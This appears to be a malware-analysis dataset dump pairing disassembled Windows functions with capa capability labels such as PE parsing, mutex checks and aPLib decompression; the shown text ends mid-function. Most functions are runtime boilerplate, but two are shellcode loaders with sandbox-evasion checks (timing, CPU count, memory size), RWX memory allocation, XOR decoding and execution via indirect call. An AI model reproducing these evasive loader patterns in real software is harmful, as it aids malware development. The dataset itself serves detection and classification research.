joyce8/EMBER2024-capa huggingface dataset:
Function at 0x281b8d1c0
Capabilities:
Check mutex on windows

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x30
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
lea rdx, [0x281ccf580]
mov dword [rsp + 0x2c], eax
lea rcx, [rsp + 0x2c]
lea r9, [rsp + 0x30]
movzx eax, byte [rcx]
add rcx, 1
add rdx, 2
mov r8d, eax
and eax, 0xf
shr r8b, 4
add eax, 0x61
add r8d, 0x41
mov byte [rdx - 1], al
mov byte [rdx - 2], r8b
cmp rcx, r9
jne 0x281b8d1e3
lea rax, [0x281ccf588]
mov ecx, 0x5f
lea rdx, str.__shmem3_winpthreads_tdm_
lea r8, [rax + 0x1a]
jmp 0x281b8d22b
movzx ecx, byte [rdx]
add rax, 1
add rdx, 1
mov byte [rax - 1], cl
cmp rax, r8
jne 0x281b8d228
lea rax, [0x281ccf5c0]
mov ecx, 0x5f
lea rdx, str.__shmem3_winpthreads_tdm_
lea r8, [rax + 0x19]
jmp 0x281b8d25b
movzx ecx, byte [rdx]
add rax, 1
add rdx, 1
mov byte [rax - 1], cl
cmp rax, r8
jne 0x281b8d258
xor ecx, ecx
mov byte [0x281ccf5d9], 0x2d
movabs rax, 0x6161616161616161
movabs rdx, 0x6161616161616161
mov qword [0x281ccf5e2], rdx
lea r8, [0x281ccf580]
lea rbx, [0x281ccf5da]
mov qword [0x281ccf5f2], rdx
mov qword [0x281ccf602], rdx
mov qword [0x281ccf612], rdx
xor edx, edx
mov qword [0x281ccf5da], rax
mov qword [0x281ccf5ea], rax
mov qword [0x281ccf5fa], rax
mov qword [0x281ccf60a], rax
mov byte [0x281ccf61a], 0
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov edx, 0xffffffff
mov r12, rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x281b8d436
lea rcx, [0x281ccf5c0]
call qword [sym.imp.KERNEL32.dll_FindAtomA]
test ax, ax
jne 0x281b8d381
lea rsi, [0x281ccf4c0]
lea r8, [0x281ccf61a]
mov rax, rbx
lea ecx, [rbx + 0x40]
nop dword [rax]
mov edx, ecx
sub edx, eax
bt rsi, rdx
jae 0x281b8d32d
mov byte [rax], 0x41
add rax, 1
cmp r8, rax
jne 0x281b8d320
lea rcx, [0x281ccf5c0]
call qword [sym.imp.KERNEL32.dll_AddAtomA]
test ax, ax
je 0x281b8d423
lea rcx, [0x281b8d0d0]
mov qword [0x281ccf4c0], rsi
call sub.msvcrt.dll__onexit
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [0x281ccf4c0]
add rsp, 0x30
pop rbx
pop rsi
pop r12
ret
mov r8d, 0x5b
lea rdx, [0x281ccf5c0]
movzx ecx, ax
call qword [sym.imp.KERNEL32.dll_GetAtomNameA]
lea r8, [0x281ccf61a]
xor edx, edx
lea r10d, [rbx + 0x40]
mov r11d, eax
mov r9d, 1
mov rax, rbx
test r11d, r11d
je 0x281b8d456
nop dword [rax]
cmp byte [rax], 0x41
jne 0x281b8d3d3
mov ecx, r10d
mov rbx, r9
sub ecx, eax
shl rbx, cl
or rdx, rbx
add rax, 1
cmp r8, rax
jne 0x281b8d3c0
mov rax, rdx
mov qword [0x281ccf4c0], rax
lea rsi, [0x281ccf4c0]
jmp 0x281b8d3f9
cmp rdx, rsi
je 0x281b8d35f
mov rdx, rax
mov rax, qword [rax + 8]
test rax, rax
jne 0x281b8d3f0
cmp rdx, rsi
je 0x281b8d35f
mov qword [rdx + 8], rsi
lea rcx, [0x281b8d0d0]
call sub.msvcrt.dll__onexit
jmp 0x281b8d35f
lea rcx, str.failed_to_add_string_to_atom_table_n
call fcn.281b8d040
xor eax, eax
jmp 0x281b8d378
lea rcx, str.failed_to_to_lock_creation_mutex_n
call fcn.281b8d040
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add rsp, 0x30
pop rbx
pop rsi
pop r12
ret
lea rcx, str.failed_to_get_string_from_atom_n
call fcn.281b8d040
xor eax, eax
jmp 0x281b8d3df
Function at 0x281bf6230
Capabilities:
Read file on windows

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rbp, qword [sym.imp.msvcrt.dll__errno]
mov rdi, rcx
mov rsi, rdx
mov ebx, r8d
jmp 0x281bf6257
call rbp
cmp dword [rax], 4
jne 0x281bf6274
mov rcx, rdi
call fcn.281bf6050
mov r8d, ebx
mov rdx, rsi
mov ecx, eax
call sub.msvcrt.dll__read
movsxd r12, eax
cmp eax, 0xffffffff
je 0x281bf6250
mov rax, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x004204b0]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x004204c0]
mov dword [rax], 1
mov rax, qword [0x004204d0]
mov dword [rax], 1
mov rax, qword [0x004204a0]
mov dword [rax], 1
mov rax, qword [0x00420390]
cmp word [rax], 0x5a4d
jne 0x401067
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x4010c0
mov rax, qword [0x00420490]
mov dword [0x0042300c], ecx
mov eax, dword [rax]
test eax, eax
jne 0x4010b0
mov ecx, 1
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x00420450]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x00420340]
cmp dword [rax], 1
je 0x4010f0
xor eax, eax
add rsp, 0x28
ret
mov ecx, 2
call sym.__set_app_type
jmp 0x401084
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x401108
cmp dx, 0x20b
jne 0x401067
cmp dword [rax + 0x84], 0xe
jbe 0x401067
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x401067
lea rcx, [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x401067
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x401067

Function at 0x401560
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
call dbg.__main
call sym.clock
mov dword [rbp - 4], eax
mov ecx, 5
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
call sym.clock
mov dword [rbp - 8], eax
mov eax, dword [rbp - 8]
sub eax, dword [rbp - 4]
cvtsi2sd xmm0, eax
movsd qword [rbp - 0x10], xmm0
movsd xmm0, qword [section..rdata]
comisd xmm0, xmmword [rbp - 0x10]
ja 0x4015f2
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x1c29d
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
mov rcx, rax
lea rax, [0x00403020]
mov edx, 0x1c29d
mov r8, rdx
mov rdx, rax
call sym.memcpy
mov rax, qword [rbp - 0x18]
call rax
jmp 0x4015f3
nop
add rsp, 0x40
pop rbp
ret

Function at 0x401ab0
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sym.vfprintf
call sym.abort
nop
nop word [rax + rax]
Function at 0x401b20
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rdi, dword [0x00423614]
mov r12, rcx
mov rsi, rdx
mov rbx, r8
test edi, edi
jle 0x401cc8
mov rax, qword [0x00423618]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp r12, rdx
jb 0x401b6c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x401bf7
add ecx, 1
add rax, 0x28
cmp ecx, edi
jne 0x401b50
mov rcx, r12
call dbg.__mingw_GetSectionForAddress
mov rbp, rax
test rax, rax
je 0x401d02
mov rax, qword [0x00423618]
lea rdi, [rdi + rdi*4]
shl rdi, 3
add rax, rdi
mov qword [rax + 0x20], rbp
mov dword [rax], 0
call dbg._GetPEImageBase
mov ecx, dword [rbp + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x00423618]
mov qword [rax + rdi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x401d11
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x401bf0
sub eax, 4
and eax, 0xfffffffb
jne 0x401c80
add dword [0x00423614], 1
cmp ebx, 8
jae 0x401c28
test bl, 4
jne 0x401cd0
test ebx, ebx
je 0x401c19
movzx eax, byte [rsi]
mov byte [r12], al
test bl, 2
jne 0x401cf0
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rax, qword [rsi]
lea rcx, [r12 + 8]
and rcx, 0xfffffffffffffff8
mov qword [r12], rax
mov eax, ebx
mov rdx, qword [rsi + rax - 8]
mov qword [r12 + rax - 8], rdx
sub r12, rcx
add ebx, r12d
sub rsi, r12
and ebx, 0xfffffff8
cmp ebx, 8
jb 0x401c19
and ebx, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov r8, qword [rsi + rdx]
mov qword [rcx + rdx], r8
cmp eax, ebx
jb 0x401c5a
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
add rdi, qword [0x00423618]
mov qword [rdi + 8], rcx
mov r9, rdi
mov qword [rdi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x401bf0
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor edi, edi
jmp 0x401b77
mov eax, dword [rsi]
mov ebx, ebx
mov dword [r12], eax
mov eax, dword [rsi + rbx - 4]
mov dword [r12 + rbx - 4], eax
jmp 0x401c19
mov ebx, ebx
movzx eax, word [rsi + rbx - 2]
mov word [r12 + rbx - 2], ax
jmp 0x401c19
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
mov rax, qword [0x00423618]
mov edx, dword [rbp + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rdi + 0x18]
call dbg.__report_error
nop
nop dword [rax]
Function at 0x4024f0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x00423900]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x004238e0]
test rbx, rbx
je 0x402544
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x40253b
test r12, r12
je 0x40253b
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x402520
lea rcx, [0x00423900]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x402770
Capabilities:
Parse pe header

Disassembly:
cmp word [rcx], 0x5a4d
jne 0x402780
jmp sym._ValidateImageBase.part.0
xor eax, eax
ret

Function at 0x402790
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x4027d5
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp r8, rdx
ja 0x4027cc
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x4027d7
add rax, 0x28
cmp rax, r9
jne 0x4027b8
xor eax, eax
ret

Function at 0x402880
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r10, qword [0x00420390]
xor r8d, r8d
cmp word [r10], 0x5a4d
mov r9, rcx
jne 0x4028f9
mov rcx, r10
call sym._ValidateImageBase.part.0
test eax, eax
je 0x4028f9
movsxd rax, dword [r10 + 0x3c]
mov rcx, r9
sub rcx, r10
add r10, rax
movzx eax, word [r10 + 0x14]
lea r8, [r10 + rax + 0x18]
movzx eax, word [r10 + 6]
test eax, eax
je 0x4028f6
sub eax, 1
lea rax, [rax + rax*4]
lea r9, [r8 + rax*8 + 0x28]
nop dword [rax]
mov edx, dword [r8 + 0xc]
mov rax, rdx
cmp rcx, rdx
jb 0x4028ed
add eax, dword [r8 + 8]
cmp rcx, rax
jb 0x4028f9
add r8, 0x28
cmp r8, r9
jne 0x4028d8
xor r8d, r8d
mov rax, r8
add rsp, 0x28
ret

Function at 0x4029e0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r9, qword [0x00420390]
xor eax, eax
cmp word [r9], 0x5a4d
mov r8, rcx
jne 0x402a4f
mov rcx, r9
call sym._ValidateImageBase.part.0
test eax, eax
je 0x402a4f
movsxd rax, dword [r9 + 0x3c]
mov rcx, r8
sub rcx, r9
add r9, rax
movzx eax, word [r9 + 0x14]
movzx edx, word [r9 + 6]
lea rax, [r9 + rax + 0x18]
test edx, edx
je 0x402a4d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x402a44
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x402a58
add rax, 0x28
cmp rax, r9
jne 0x402a30
xor eax, eax
add rsp, 0x28
ret
mov eax, dword [rax + 0x24]
not eax
shr eax, 0x1f
add rsp, 0x28
ret
Function at 0x402a70
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r11, qword [0x00420390]
xor r9d, r9d
cmp word [r11], 0x5a4d
mov r8d, ecx
jne 0x402ae8
mov rcx, r11
call sym._ValidateImageBase.part.0
test eax, eax
je 0x402ae8
movsxd rcx, dword [r11 + 0x3c]
add rcx, r11
mov eax, dword [rcx + 0x90]
test eax, eax
je 0x402ae8
movzx edx, word [rcx + 0x14]
lea rdx, [rcx + rdx + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x402ae8
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r10, [rdx + rcx*8 + 0x28]
nop dword [rax + rax]
mov r9d, dword [rdx + 0xc]
mov rcx, r9
cmp rax, r9
jb 0x402adc
add ecx, dword [rdx + 8]
cmp rax, rcx
jb 0x402af0
add rdx, 0x28
cmp rdx, r10
jne 0x402ac8
xor r9d, r9d
mov rax, r9
add rsp, 0x28
ret
add rax, r11
jmp 0x402b00
sub r8d, 1
add rax, 0x14
mov ecx, dword [rax + 4]
test ecx, ecx
jne 0x402b0e
mov edx, dword [rax + 0xc]
test edx, edx
je 0x402ae5
test r8d, r8d
jg 0x402af8
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
add rsp, 0x28
ret
Function at 0x1400111fe
Capabilities:
Terminate process

Disassembly:
jmp 0x140013440
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x14001127b
Capabilities:
Terminate process
Write file on windows

Disassembly:
jmp 0x140011bf0
push rbp
push rdi
mov eax, 0x20828
call fcn.1400110b9
sub rsp, rax
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x8082
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14001e008]
xor rax, rbp
mov qword [rbp + 0x207f8], rax
lea rcx, [0x140023016]
call fcn.140011384
mov byte [rbp + 0x10], 0xff
lea rax, [rbp + 0x11]
mov rdi, rax
xor eax, eax
mov ecx, 0xffff
rep stosb byte [rdi], al
lea rcx, [0x14001ae40]
call fcn.14001119f
lea r8, [rbp + 0x201e4]
lea rdx, [rbp + 0x201e0]
lea rcx, str._d__d
call fcn.1400110a0
lea rcx, [0x14001ae78]
call fcn.14001119f
lea rdx, [rbp + 0x201e8]
lea rcx, [0x14001aea0]
call fcn.1400110a0
lea rcx, [0x14001aea8]
call fcn.14001119f
lea rdx, [rbp + 0x201ec]
lea rcx, [0x14001aea0]
call fcn.1400110a0
lea rcx, [rbp + 0x101e0]
call fcn.1400112f3
lea rcx, [0x14001aed0]
call fcn.14001119f
lea rdx, [rbp + 0x10150]
lea rcx, [0x14001aef0]
call fcn.1400110a0
lea rdx, [0x14001aef4]
lea rcx, [rbp + 0x10150]
call qword [sym.imp.ucrtbased.dll_fopen]
mov qword [rbp + 0x10128], rax
cmp qword [rbp + 0x10128], 0
jne 0x140011d20
mov ecx, 2
call qword [sym.imp.ucrtbased.dll___acrt_iob_func]
lea rdx, [0x14001aef8]
mov rcx, rax
call fcn.14001133e
mov ecx, 1
call qword [sym.imp.ucrtbased.dll_exit]
mov r9, qword [rbp + 0x10128]
mov r8d, 0x100
mov edx, 0x100
lea rcx, [rbp + 0x10]
call qword [sym.imp.ucrtbased.dll_fwrite]
jmp 0x140011d40
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x14001ae00]
call fcn.140011316
mov rax, rdi
mov rcx, qword [rbp + 0x207f8]
xor rcx, rbp
call fcn.1400111b8
lea rsp, [rbp + 0x20808]
pop rdi
pop rbp
ret

Function at 0x140011285
Capabilities:
Parse pe header

Disassembly:
jmp 0x140014780
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x1400147a0
xor al, al
jmp 0x140014821
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x1400147b3
xor al, al
jmp 0x140014821
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x1400147dd
xor al, al
jmp 0x140014821
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x1400147f1
xor al, al
jmp 0x140014821
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140014803
xor al, al
jmp 0x140014821
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001481f
xor al, al
jmp 0x140014821
mov al, 1
add rsp, 0x38
ret
Function at 0x14000147f
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, qword [0x140005460]
mov dword [rax], 1
mov rax, qword [0x140005470]
mov dword [rax], 1
mov rax, qword [0x140005480]
mov dword [rax], 1
mov rax, qword [0x140005420]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400014d0
mov eax, 0
jmp 0x14000157d
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x1400014fc
mov eax, 0
jmp 0x14000157d
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x10b
je 0x140001522
cmp eax, 0x20b
je 0x140001549
jmp 0x140001578
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x5c]
cmp eax, 0xe
ja 0x140001535
mov eax, 0
jmp 0x14000157d
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x14000157d
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x6c]
cmp eax, 0xe
ja 0x140001564
mov eax, 0
jmp 0x14000157d
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x14000157d
mov eax, 0
add rsp, 0x20
pop rbp
ret

Function at 0x1400019de
Capabilities:
Get system information on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
lea rax, [rbp - 0x30]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call rax
mov eax, dword [rbp - 0x10]
cmp eax, 1
ja 0x140001a05
mov eax, 0
jmp 0x140001a0a
mov eax, 1
add rsp, 0x50
pop rbp
ret

Function at 0x140001a10
Capabilities:
Get memory capacity

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
mov dword [rbp - 0x40], 0x40
lea rax, [rbp - 0x40]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
call rax
mov rdx, qword [rbp - 0x38]
mov eax, 0x80000000
cmp rdx, rax
jae 0x140001a44
mov eax, 0
jmp 0x140001a49
mov eax, 1
add rsp, 0x60
pop rbp
ret

Function at 0x140001b5d
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
call sym.__main
call sym.check_sandbox
test eax, eax
je 0x140001c07
lea rax, [rbp - 8]
mov r9, rax
mov r8d, 0x40
mov edx, 0x1fe
lea rax, [0x1400017e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov dword [rbp - 4], 0
jmp 0x140001bf5
mov eax, dword [rbp - 4]
cdqe
lea rdx, [0x1400017e0]
movzx eax, byte [rax + rdx]
test al, al
je 0x140001bf1
mov eax, dword [rbp - 4]
cdqe
lea rdx, [0x1400017e0]
movzx eax, byte [rax + rdx]
cmp al, 0xa
je 0x140001bf1
mov eax, dword [rbp - 4]
cdqe
lea rdx, [0x1400017e0]
movzx eax, byte [rax + rdx]
xor eax, 0xa
mov ecx, eax
mov eax, dword [rbp - 4]
cdqe
lea rdx, [0x1400017e0]
mov byte [rax + rdx], cl
add dword [rbp - 4], 1
cmp dword [rbp - 4], 0x1fd
jle 0x140001ba5
lea rax, [0x1400017e0]
call rax
mov eax, 0
add rsp, 0x30
pop rbp
ret
Function at 0x140001f50
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sym.__acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sym.fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sym.__acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call sym.vfprintf
call sym.abort
nop

Function at 0x140002c22
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x140009168]
test eax, eax
je 0x140002cba
lea rax, [0x140009140]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x140009170]
mov qword [rbp - 8], rax
jmp 0x140002c9e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x140002c92
cmp qword [rbp - 0x10], 0
je 0x140002c92
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x140002c58
lea rax, [0x140009140]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x140002cbb
nop
add rsp, 0x30
pop rbp
ret

Function at 0x140002dc0
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x140002de8
mov eax, 0
jmp 0x140002e36
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x140002e11
mov eax, 0
jmp 0x140002e36
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x140002e31
mov eax, 0
jmp 0x140002e36
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x140002e3c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x140002eba
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x140002eb1
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x140002eb1
mov rax, qword [rbp - 8]
jmp 0x140002ecf
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x140002e84
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x1407d44d0
Capabilities:
Decompress data using aplib

Disassembly:
call 0x1407d4657
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x1407d4501
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1407d44e7
add dl, dl
jne 0x1407d450e
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1407d456e
xor eax, eax
add dl, dl
jne 0x1407d451d
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1407d4625
add dl, dl
jne 0x1407d452e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1407d453b
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1407d4548
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1407d4555
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1407d4562
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x1407d44f6
mov eax, 1
add dl, dl
jne 0x1407d457e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1407d458b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1407d4573
sub eax, ebx
mov ebx, 1
jne 0x1407d45c4
mov ecx, 1
add dl, dl
jne 0x1407d45a6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1407d45b3
mov dl, byte [rsi]
inc rsi
adc dl, dl
